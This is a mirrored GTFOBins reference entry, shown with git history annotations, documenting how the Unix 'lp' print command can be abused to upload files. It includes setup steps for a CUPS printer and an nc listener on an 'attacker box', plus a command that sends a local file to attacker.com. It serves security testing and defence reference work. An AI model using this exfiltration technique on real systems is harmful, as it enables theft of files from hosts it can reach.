1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/lp.md

18 lines
575 B
Markdown
Raw Normal View History

2022-04-27 20:42:18 +02:00
---
functions:
file-upload:
2022-05-09 14:38:03 +02:00
- description: |
To collect the file run the following on the attacker box (this requires `cups` to be installed):
2022-04-27 20:42:18 +02:00
2022-05-09 14:38:03 +02:00
1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer;
2. `lpadmin -d printer` to set the new printer as default;
3. `cupsctl --remote-any` to enable printing from the Internet;
4. `nc -lkp 9100` to receive the file.
2022-04-27 20:42:18 +02:00
Send a local file to a CUPS server.
code: |
LFILE=file_to_send
RHOST=attacker.com
lp $LFILE -h $RHOST
---